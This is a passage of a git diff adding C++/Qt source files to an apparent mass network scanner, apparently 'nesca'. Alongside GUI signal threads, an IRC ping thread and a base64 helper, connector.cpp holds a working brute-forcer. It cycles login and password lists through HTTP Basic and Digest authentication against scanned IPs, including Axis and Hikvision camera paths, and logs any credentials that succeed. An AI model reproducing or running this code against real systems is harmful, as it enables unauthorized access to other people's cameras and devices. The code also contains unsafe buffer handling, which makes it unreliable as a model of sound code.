doEmitDrawTextPlacers(); +protected: + void run(); +}; +extern DrawerTh_VoiceScanner *vsTh; +#endif // DRAWERTH_VOICESCANNER_H diff --git a/Eurostile.ttf b/Eurostile.ttf new file mode 100644 index 0000000..f10707a Binary files /dev/null and b/Eurostile.ttf differ diff --git a/IRCPinger_Th.cpp b/IRCPinger_Th.cpp new file mode 100644 index 0000000..76f6b4a --- /dev/null +++ b/IRCPinger_Th.cpp @@ -0,0 +1,31 @@ +#pragma once +#include "IRCPinger_Th.h" +#include "externData.h" + +void IRCPinger_Th::doEmitChangeRedIRCData(QString str) +{ + emit ircPTh->changeRedIRCData(str); +}; +void IRCPinger_Th::doEmitRestartIRC() +{ + emit ircPTh->RestartIRC(); +}; + +void IRCPinger_Th::run() +{ + while(iWantToConnect) + { + if(globalPinger >= 360) //6min timeout + { +#pragma region QTGUI_Area + ircPTh->doEmitChangeRedIRCData("-//- Ping timeout. Reconnecting... "); +#pragma endregion + + ircPTh->doEmitRestartIRC(); + globalPinger = 0; + msleep(10000); + }; + ++globalPinger; + msleep(1000); + }; +}; \ No newline at end of file diff --git a/IRCPinger_Th.h b/IRCPinger_Th.h new file mode 100644 index 0000000..5872ea4 --- /dev/null +++ b/IRCPinger_Th.h @@ -0,0 +1,23 @@ +#ifndef IRCPINGER_TH_H +#define IRCPINGER_TH_H + +#pragma once +#include "nesca_3.h" +extern int iWantToConnect; + +class IRCPinger_Th : public QThread +{ + Q_OBJECT + +public: + static void doEmitChangeRedIRCData(QString str); + static void doEmitRestartIRC(); + +public: signals: void changeRedIRCData(QString); +public: signals: void RestartIRC(); + +protected: + void run(); +}; +extern IRCPinger_Th *ircPTh; +#endif // IRCPINGER_TH_H diff --git a/STh.cpp b/STh.cpp new file mode 100644 index 0000000..8d134fd --- /dev/null +++ b/STh.cpp @@ -0,0 +1,102 @@ +#include "STh.h" + +void STh::doEmitionShowRedVersion() +{ + emit stt->showRedVersion(); +}; +void STh::doEmitionStartScanIP() +{ + emit stt->startScanIP(); +}; +void STh::doEmitionStartScanDNS() +{ + emit stt->startScanDNS(); +}; +void STh::doEmitionStartScanImport() +{ + emit stt->startScanImport(); +}; +void STh::doEmitionAddIncData(QString(ip), QString str) +{ + emit stt->sIncData(ip, str); +}; +void STh::doEmitionAddOutData(QString ip, QString str) +{ + emit stt->sOutData(ip, str); +}; +void STh::doEmitionIPRANGE(QString str) +{ + emit stt->changeIpRange(str); +} +void STh::doEmitionThreads(QString str) +{ + emit stt->changeThreads(str); +} +void STh::doEmitionIPS(QString str) +{ + emit stt->changeIPS(str); +} +void STh::doEmitionFoundData(QString str) +{ + emit stt->changeFoundData(str); +} +void STh::doEmitionBAData(QString str) +{ + emit stt->changeBAData(str); +} +void STh::doEmition_BARedData(QString str) +{ + emit stt->changeRedBAData(str); +}; +void STh::doEmition_BAGreenData(QString str) +{ + emit stt->changeGreenBAData(str); +} +void STh::doEmitionRedFoundData(QString str) +{ + emit stt->changeRedFoundData(str); +} +void STh::doEmitionGreenFoundData(QString str) +{ + emit stt->changeGreenFoundData(str); +} +void STh::doEmitionYellowFoundData(QString str) +{ + emit stt->changeYellowFoundData(str); +} +void STh::doEmitionDebugFoundData(QString str) +{ + emit stt->changeDebugFoundData(str); +} +void STh::doEmitionChangeStatus(QString str) +{ + emit stt->changeStatus(str); +} +void STh::doEmitionTargetsLeft(QString str) +{ + emit stt->changeTargetsLeft(str); +} +void STh::doEmitionKillSttThread() +{ + emit stt->killSttThread(); +}; +void STh::doEmitionChangeParsed(QString str) +{ + emit stt->changeParsedValue(str); +}; +void STh::doEmitionChangeBA(QString str) +{ + emit stt->changeBAValue(str); +}; +void STh::doEmitionOffline(QString str) +{ + emit stt->changeOffline(str); +}; +void STh::doEmitionDataSaved(bool status) +{ + emit stt->signalDataSaved(status); +}; +void STh::run() +{ + startScan(inputStr); +} \ No newline at end of file diff --git a/STh.h b/STh.h new file mode 100644 index 0000000..f030969 --- /dev/null +++ b/STh.h @@ -0,0 +1,71 @@ +#ifndef STH_H +#define STH_H + +#pragma once +#include "nesca_3.h" +#include "externFunctions.h" + +extern int tMax; + +class STh : public QThread +{ + Q_OBJECT +public: + +public: + static void doEmitionDataSaved(bool status); + static void doEmitionStartScanIP(); + static void doEmitionStartScanDNS(); + static void doEmitionStartScanImport(); + static void doEmitionAddIncData(QString ip, QString str); + static void doEmitionAddOutData(QString ip, QString str); + static void doEmition_BAGreenData(QString str); + static void doEmition_BARedData(QString str); + static void doEmitionIPRANGE(QString str); + static void doEmitionThreads(QString str); + static void doEmitionIPS(QString str); + static void doEmitionFoundData(QString str); + static void doEmitionRedFoundData(QString str); + static void doEmitionGreenFoundData(QString); + static void doEmitionYellowFoundData(QString); + static void doEmitionChangeStatus(QString); + static void doEmitionTargetsLeft(QString); + static void doEmitionKillSttThread(); + static void doEmitionChangeParsed(QString); + static void doEmitionChangeBA(QString); + static void doEmitionOffline(QString); + static void doEmitionBAData(QString str); + static void doEmitionDebugFoundData(QString); + static void doEmitionShowRedVersion(); + +signals: +public: signals: void showRedVersion(); +public: signals: void startScanIP(); +public: signals: void startScanDNS(); +public: signals: void startScanImport(); +public: signals: void signalDataSaved(bool); +public: signals: void changeGreenBAData(QString); +public: signals: void changeRedBAData(QString); +public: signals: void changeBAData(QString); +public: signals: void changeOffline(QString); +public: signals: void changeBAValue(QString); +public: signals: void changeParsedValue(QString); +public: signals: void changeIpRange(QString); +public: signals: void changeThreads(QString); +public: signals: void changeIPS(QString); +public: signals: void changeFoundData(QString); +public: signals: void changeRedFoundData(QString); +public: signals: void changeGreenFoundData(QString); +public: signals: void changeYellowFoundData(QString); +public: signals: void changeDebugFoundData(QString); +public: signals: void changeStatus(QString); +public: signals: void changeTargetsLeft(QString); +public: signals: void killSttThread(); +public: signals: void sIncData(QString, QString); +public: signals: void sOutData(QString, QString); + +protected: + void run(); +}; +extern STh *stt; +#endif // STH_H diff --git a/base64.cpp b/base64.cpp new file mode 100644 index 0000000..ce292d8 --- /dev/null +++ b/base64.cpp @@ -0,0 +1,96 @@ +#include "base64.h" +#include + +static const std::string base64_chars = + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz" + "0123456789+/"; + + +static inline bool is_base64(unsigned char c) { + return (isalnum(c) || (c == '+') || (c == '/')); +} + +std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) { + std::string ret; + int i = 0; + int j = 0; + unsigned char char_array_3[3]; + unsigned char char_array_4[4]; + + while (in_len--) { + char_array_3[i++] = *(bytes_to_encode++); + if (i == 3) { + char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; + char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); + char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); + char_array_4[3] = char_array_3[2] & 0x3f; + + for(i = 0; (i <4) ; i++) + ret += base64_chars[char_array_4[i]]; + i = 0; + } + } + + if (i) + { + for(j = i; j < 3; j++) + char_array_3[j] = '\0'; + + char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; + char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); + char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); + char_array_4[3] = char_array_3[2] & 0x3f; + + for (j = 0; (j < i + 1); j++) + ret += base64_chars[char_array_4[j]]; + + while((i++ < 3)) + ret += '='; + + } + + return ret; + +} + +std::string base64_decode(std::string const& encoded_string) { + int in_len = encoded_string.size(); + int i = 0; + int j = 0; + int in_ = 0; + unsigned char char_array_4[4], char_array_3[3]; + std::string ret; + + while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) { + char_array_4[i++] = encoded_string[in_]; in_++; + if (i ==4) { + for (i = 0; i <4; i++) + char_array_4[i] = base64_chars.find(char_array_4[i]); + + char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); + char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); + char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; + + for (i = 0; (i < 3); i++) + ret += char_array_3[i]; + i = 0; + } + } + + if (i) { + for (j = i; j <4; j++) + char_array_4[j] = 0; + + for (j = 0; j <4; j++) + char_array_4[j] = base64_chars.find(char_array_4[j]); + + char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); + char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); + char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; + + for (j = 0; (j < i - 1); j++) ret += char_array_3[j]; + } + + return ret; +} \ No newline at end of file diff --git a/base64.h b/base64.h new file mode 100644 index 0000000..ceb1357 --- /dev/null +++ b/base64.h @@ -0,0 +1,4 @@ +#include + +std::string base64_encode(unsigned char const* , unsigned int len); +std::string base64_decode(std::string const& s); \ No newline at end of file diff --git a/connector.cpp b/connector.cpp new file mode 100644 index 0000000..0dcc020 --- /dev/null +++ b/connector.cpp @@ -0,0 +1,2625 @@ +#pragma once +#include "STh.h" +#include +#include +#include +#include "mainResources.h" +#include "externFunctions.h" +#include "externData.h" +#include + +#if defined(Q_OS_WIN32) +#include +#include +#pragma comment(lib, "iphlpapi.lib") +#endif +int gMaxBrutingThreads = 200; +fd_set write_fs; + + +int _countFTPDirectories(char *recvBuff){ + if(strcmp(recvBuff, "dummy\r\n") == 0) return 0; + int dirCounter = 0; + if(recvBuff[strlen(recvBuff) - 1] != '\n') strcat(recvBuff, "\n"); + char *dirPtr = strstr(recvBuff, "\n"); + while(dirPtr != NULL){ + ++dirCounter; + dirPtr = strstr(dirPtr + 1, "\n"); + }; + return dirCounter; +}; +void BConInc() +{ + __asm + { + lock inc BrutingThrds; + }; +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion + ++BA; +}; +void BConDec() +{ + if(BrutingThrds > 0) + { + __asm + { + lock dec BrutingThrds; + }; + } +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion +}; +bool debugWriteWait = false; +void _DebugWriteHTMLToFile(char *request, char *buff) +{ + while(debugWriteWait) Sleep(50); + debugWriteWait = true; + FILE *df = fopen("./debugData.txt", "a"); + + if(df != NULL) + { + fputs(request, df); + fputs("==========================\n", df); + fputs(buff, df); + fputs("\n==========================\n==========================\n\n", df); + fclose(df); + } + else + { + stt->doEmitionRedFoundData("[DEBUG] Cannot open debugData.txt"); + }; + debugWriteWait = false; +}; +unsigned char tl(unsigned char d) +{ + if(d >= 192 && d <= 223) + { + unsigned char y = d + 32; + return y; + } + else + { + return tolower(d); + }; +}; +int recvWT( + int Socket, + char *Buffer, + int Len, + long Timeout, + int *bTimedOut + ){ + fd_set ReadSet; + int n; + struct timeval Time; + + FD_ZERO(&ReadSet); + FD_SET(Socket,&ReadSet); + Time.tv_sec = Timeout; + Time.tv_usec = 0; + *bTimedOut = FALSE; + n = select(Socket+1,&ReadSet,NULL,NULL,&Time); + if (n > 0) { /* got some data */ + return recv(Socket,Buffer,Len,0); + } + if (n == 0) { /* timeout */ + *bTimedOut = TRUE; + } + return(n) ; /* trouble */ +} +std::string toLowerStr(const char *str) +{ + int tsz = strlen(str); + if(tsz == 1) + { + if(str[0] == 10) return "[No data!]"; + else return str; + } + else if(tsz > 1) + { + char * strr = new char[tsz+1]; + ZeroMemory(strr, tsz); + + for (int i = 0; i < tsz; i++) + { + strr[i] = tl(str[i]); + }; + + memset(strr + tsz, '\0', 1); + + std::string tstr = strr; + delete []strr; + return tstr; + }; + return ""; +}; +int OpenConnection(SOCKET *sock, const char *hostname, int port) +{ + struct hostent *host; + struct sockaddr_in addr; + if(strlen(hostname) == 0) + { + return -1; + }; + if(port < 0 || port > 65535) + { + return -1; + }; + + if ( (host = gethostbyname(hostname)) == NULL ) + { + ++offlines; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); + return -1; + }; + *sock = socket(PF_INET, SOCK_STREAM, 0); + ZeroMemory(&addr, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + addr.sin_addr.s_addr = *(long*)(host->h_addr); + if ( connect(*sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR ) + { + ++offlines; + CSSOCKET(*sock); + return -1; + }; + return 0; +} + +void _baSSLWorker(char *ip, char *request, char *rvBuff) +{ + const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ + SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ + + if(ctx != NULL) + { + SOCKET sock; + SSL_CTX_set_timeout(ctx, gTimeOut); + int result = OpenConnection(&sock, ip, 443); + if(result >= 0) + { + SSL *ssl = NULL; + ssl = SSL_new(ctx); /* create new SSL connection state */ + if(ssl != NULL) + { + SSL_set_fd(ssl, sock); /* attach the socket descriptor */ + if(SSL_connect(ssl)) + { + SSL_write(ssl, request, strlen(request)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + + char tempBuff[128] = {0}; + int x = 1; + int xx = 0; + + ZeroMemory(rvBuff, sizeof(rvBuff)); + while(xx < 512) + { + x = SSL_read(ssl, tempBuff, sizeof(tempBuff)); + if(x <= 0) break; + Activity += x; + xx += x; + strncat(rvBuff, tempBuff, x); + ZeroMemory(tempBuff, sizeof(tempBuff)); + }; + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff)); + if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff); + }; + SSL_shutdown(ssl); + SSL_free(ssl); + CSSOCKET(sock); + SSL_CTX_free(ctx); /* release context */ + return; + }; + }; + CSSOCKET(sock); + SSL_CTX_free(ctx); /* release context */ + } + else + { + char buff1[512] = {0}; + char buff2[512] = {0}; + + ERR_error_string(ERR_peek_error(), buff1); + ERR_error_string(ERR_peek_last_error(), buff2); + stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); + }; +}; +char *_getAttributeValue(char *str, char *val, char *ip, int port) +{ + char res[1024] = {0}; + char *ptrStart = NULL; + char *ptrS1End = NULL; + char *ptrS2End = NULL; + + ptrStart = strstri(str, val); + if(ptrStart != NULL) + { + if(strstri(ptrStart, "qop=auth") != NULL) return "auth"; + ptrS1End = _findFirst(ptrStart, "\""); + if(ptrS1End != NULL) + { + ptrS2End = _findFirst(ptrS1End + 1, "\""); + if(ptrS2End != NULL) + { + int sz = ptrS2End - ptrS1End - 1; + + if(sz != 0 && sz < 1024) strncpy(res, ptrS1End + 1, sz); + else return ""; + + return res; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); + return ""; + }; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); + return ""; + }; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); + return ""; + }; +}; + +#define HASHLEN 16 +typedef char HASH[HASHLEN]; +#define HASHHEXLEN 32 +typedef char HASHHEX[HASHHEXLEN+1]; +#define IN +#define OUT +void CvtHex( + IN HASH Bin, + OUT HASHHEX Hex + ) +{ + unsigned short i; + unsigned char j; + + for (i = 0; i < HASHLEN; i++) { + j = (Bin[i] >> 4) & 0xf; + if (j <= 9) + Hex[i*2] = (j + '0'); + else + Hex[i*2] = (j + 'a' - 10); + j = Bin[i] & 0xf; + if (j <= 9) + Hex[i*2+1] = (j + '0'); + else + Hex[i*2+1] = (j + 'a' - 10); + }; + Hex[HASHHEXLEN] = '\0'; +}; +char *_makeDigestResponse( + char *login, + char *realm, + char *pass, + char *path, + char *nonce, + char *pszNonceCount, + char *pszCNonce, + char *pszQop + ) +{ + char HA1[MD5_DIGEST_LENGTH]; + char HA2[MD5_DIGEST_LENGTH]; + char HA1Data[512] = {0}; + char HA2Data[512] = {0}; + + strcpy(HA1Data, login); + strcat(HA1Data, ":"); + strcat(HA1Data, realm); + strcat(HA1Data, ":"); + strcat(HA1Data, pass); + + strcpy(HA2Data, "GET:"); + strcat(HA2Data, path); + + MD5((unsigned char*) HA1Data, strlen(HA1Data), (unsigned char*)HA1); + MD5((unsigned char*) HA2Data, strlen(HA2Data), (unsigned char*)HA2); + + char responseData[512] = {0}; + char *HA1MD5 = new char[64]; + char *HA2MD5 = new char[64]; + ZeroMemory(HA1MD5, 64); + ZeroMemory(HA2MD5, 64); + + CvtHex(HA1, HA1MD5); + strcpy(responseData, HA1MD5); + strcat(responseData, ":"); + strcat(responseData, nonce); + strcat(responseData, ":"); + if (*pszQop != NULL) { + strcat(responseData, pszNonceCount); + strcat(responseData, ":"); + strcat(responseData, pszCNonce); + strcat(responseData, ":"); + strcat(responseData, pszQop); + strcat(responseData, ":"); + }; + CvtHex(HA2, HA2MD5); + strcat(responseData, HA2MD5); + delete []HA1MD5; + delete []HA2MD5; + + char response[MD5_DIGEST_LENGTH]; + MD5((unsigned char*) responseData, strlen(responseData), (unsigned char*)response); + char responseMD5[64] = {0}; + CvtHex(response, responseMD5); + return (char*)responseMD5; +}; + +lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) +{ + if(strcmp(method, "[DIGEST]") != 0 && strcmp(method, "[NORMAL]") != 0) stt->doEmitionRedFoundData("[-] Unknown method IP: " + QString(ip) + ":" + QString::number(port) + + ""); + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + int cookieLen = strlen(cookie); + char path[512] = {0}; + strncpy(path, pathT, 512); + + int bTO; + bool goon = false; + char hRqst[REQUEST_MAX_SIZE] = {0}; + char headerMsg[REQUEST_MAX_SIZE] = {0}; + char hMsgR[512] = {0}; + + strcpy(hRqst, "GET "); + strcat(hRqst, path); + strcat(hRqst, " HTTP/1.1\r\nHost: "); + strcat(hRqst, ip); + if(port != 80){ + strcat(hRqst, ":"); + char tbuff[16] = {0}; + strcat(hRqst, itoa(port, tbuff, 10)); + }; + if(cookieLen != 0) + { + strcat(hRqst, "\r\nCookie: "); + strcat(hRqst, cookie); + }; + strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic bG9sa2E6bG9sa2F=\r\n\r\n"); + + sockaddr_in sockAddr; +#pragma region VerifyBASSL + if(port == 443) + { + ZeroMemory(headerMsg, REQUEST_MAX_SIZE); + _baSSLWorker(ip, hRqst, headerMsg); + } +#pragma endregion + else +#pragma region VerifyBA + { + SOCKET sock; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + if(sock != INVALID_SOCKET) { + + if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) != SOCKET_ERROR) { + + if(send(sock, hRqst, strlen(hRqst), 0) != SOCKET_ERROR) { + + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hRqst)); + ZeroMemory(headerMsg, REQUEST_MAX_SIZE); + int x = 1; + int xx = 0; + + while(xx < 512) + { + x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO); + if(x <= 0) break; + strncat(headerMsg, hMsgR, x); + xx += x; + ZeroMemory(hMsgR, sizeof(hMsgR)); + }; + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg)); + } else { + if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Send]: " + QString::number(WSAGetLastError())); + }; + } else { + if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Connect]: " + QString::number(WSAGetLastError())); + }; + } else { + if(gDebugMode) stt->doEmitionDebugFoundData("[BA: Invalid socket]: " + QString::number(WSAGetLastError())); + }; + CSSOCKET(sock); + }; +#pragma endregion + + + if(strlen(headerMsg) == 0) + { + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + if(strstr(headerMsg, "401 ") == NULL + && strstr(headerMsg, ".1 401") == NULL + && strstr(headerMsg, ".0 401") == NULL + && strstr(headerMsg, "401") == NULL + && strstr(headerMsg, "Unauthorized") == NULL + ) + { + if(strstri(headerMsg, "400 Bad") != NULL) + { + strcpy(lps.other, "[400 Bad Request]"); + isActive = 0; + return lps; + } + else if(strstri(headerMsg, "404 Not") != NULL + || strstr(headerMsg, "404 ") != NULL + || strstr(headerMsg, ".1 404") != NULL + || strstr(headerMsg, ".0 404") != NULL + ) + { + if(strstr(path, "/axis-cgi/com/ptz.cgi?") != NULL) + { + int sz = strlen("/view/viewer_index.shtml"); + strncpy(path, "/view/viewer_index.shtml", sz); + memset(path + sz, 0, 1); + goon = true; + } + else + { + strcpy(lps.other, QString("[404 Not Found (" + QString(path) + ")]").toLocal8Bit().data()); + isActive = 0; + return lps; + }; + } + else if( // + (strstr(headerMsg, ".1 403") != NULL // + || strstr(headerMsg, ".0 403") != NULL //Hikkvision2 + ) // + && strstr(headerMsg, "badAuthorization") != NULL // + ) + { + goon = true; + } + else if(strlen(headerMsg) < 16) + { + goon = true; + stt->doEmitionRedFoundData("Corrupted reply: (" + QString(headerMsg) + ") " + QString(ip) + ":"+ QString::number(port)); + }; + + if(goon == false) + { + strcpy(lps.login, "NULL"); + strcpy(lps.pass, "NULL"); + isActive = 0; + return lps; + }; + }; +#pragma endregion + + isActive = 1; + char tPass[256] = {0}; + char curLogin[256] = {0}; + char curPass[256] = {0}; + int cCode; + int cErrCode; + int dataSz = 0; + char request[REQUEST_MAX_SIZE] = {0}; + char recvBuff[4096] = {0}; + char recvBuff2[512] = {0}; + char pass[256] = {0}; + int WSAErr; + + char localBuff[4096] = {0}; + strcpy(localBuff, headerMsg); + int passCounter = 1; + char attribute[2048] = {0}; + char nonce[512] = {0}; + char realm[512] = {0}; + char opaque[512] = {0}; + char qop[64] = {0}; + std::string encoded = ""; + + for(int i = 0; i < MaxLogin; i++) + { + if(globalScanFlag == false) break; + for(int j = 0; j < MaxPass; j++) + { + if(globalScanFlag == false) break; + + ZeroMemory(request, REQUEST_MAX_SIZE); + ZeroMemory(curLogin, sizeof(curLogin)); + ZeroMemory(curPass, sizeof(curPass)); + strcpy(curLogin, loginLst[i]); + strcpy(curPass, passLst[j]); + + if(strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) + { + ZeroMemory(attribute, sizeof(attribute)); + strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); + ZeroMemory(nonce, sizeof(nonce)); + strcpy(nonce, _getAttributeValue(attribute, "nonce=", ip, port)); + ZeroMemory(realm, sizeof(realm)); + strcpy(realm, _getAttributeValue(attribute, "realm=", ip, port)); + ZeroMemory(qop, sizeof(qop)); + if(strstri(attribute, "qop") != NULL) + { + strcpy(qop, _getAttributeValue(attribute, "qop=", ip, port)); + }; + + strcpy(request, "GET "); + strcat(request, path); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + }; + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); + strcat(request, curLogin); + strcat(request, "\", realm=\""); + strcat(request, realm); + strcat(request, "\", nonce=\""); + strcat(request, nonce); + strcat(request, "\", uri=\""); + strcat(request, path); + strcat(request, "\", qop=auth, response=\""); + strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce, "10000001", "9d531d56796e0dc9", qop)); + if(strstri(attribute, "opaque") != NULL) + { + ZeroMemory(opaque, sizeof(opaque)); + strcpy(opaque, _getAttributeValue(attribute, "opaque=", ip, port)); + strcat(request, "\", opaque=\""); + strcat(request, opaque); + }; + strcat(request, "\", nc=10000001, cnonce=\"9d531d56796e0dc9\""); + strcat(request, "\r\nConnection: close\r\n\r\n"); + } + else + { + ZeroMemory(tPass, sizeof(tPass)); + strncpy(tPass, curLogin, strlen(curLogin)); + strcat(tPass, ":"); + strncat(tPass, curPass, strlen(curPass)); + encoded = base64_encode((const unsigned char *)tPass, strlen(tPass)); + strcpy(request, "GET "); + strcat(request, path); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + }; + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); + strcat(request, encoded.c_str()); + strcat(request, "\r\nConnection: close\r\n\r\n"); + }; + +#pragma region BABSEQ-HTTPS + if(port == 443) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + if(BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass) + ";"); + _baSSLWorker(ip, request, recvBuff); + dataSz = strlen(recvBuff); + } +#pragma endregion + else +#pragma region BABSEQ-HTTP + { + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + if(cCode == SOCKET_ERROR) { + + int errorCode = WSAGetLastError(); + if(errorCode == 10038) { + + while(errorCode == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[BA][10038] - [" + QString(ip) + ":" + QString::number(port) + "]"); + CSSOCKET(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + errorCode = WSAGetLastError(); + }; + } else { + + CSSOCKET(sock); + + if(errorCode != 10060) + { + stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]"); + }; + + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + } else { + + int x = 1; + Activity += strlen(request); + + if(send(sock, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + dataSz = 0; + ZeroMemory(recvBuff2, sizeof(recvBuff2)); + ZeroMemory(recvBuff, sizeof(recvBuff)); + while (x > 0 && dataSz < 3384) + { + ZeroMemory(recvBuff2, sizeof(recvBuff2)); + x = recvWT(sock, recvBuff2, sizeof(recvBuff2), gTimeOut + 5, &bTO); + + dataSz += x; + Activity += x; + strncat(recvBuff, recvBuff2, x); + }; + if(BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(curLogin) + ":" + QString(curPass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + } + else + { + stt->doEmitionRedFoundData("[BA] Send error! [" + QString(ip) + "]"); + + CSSOCKET(sock); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + }; + CSSOCKET(sock); + }; +#pragma endregion + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); + + if(dataSz == 0) + { + stt->doEmitionBAData("[BA] No reply from: " + QString(ip) + "; 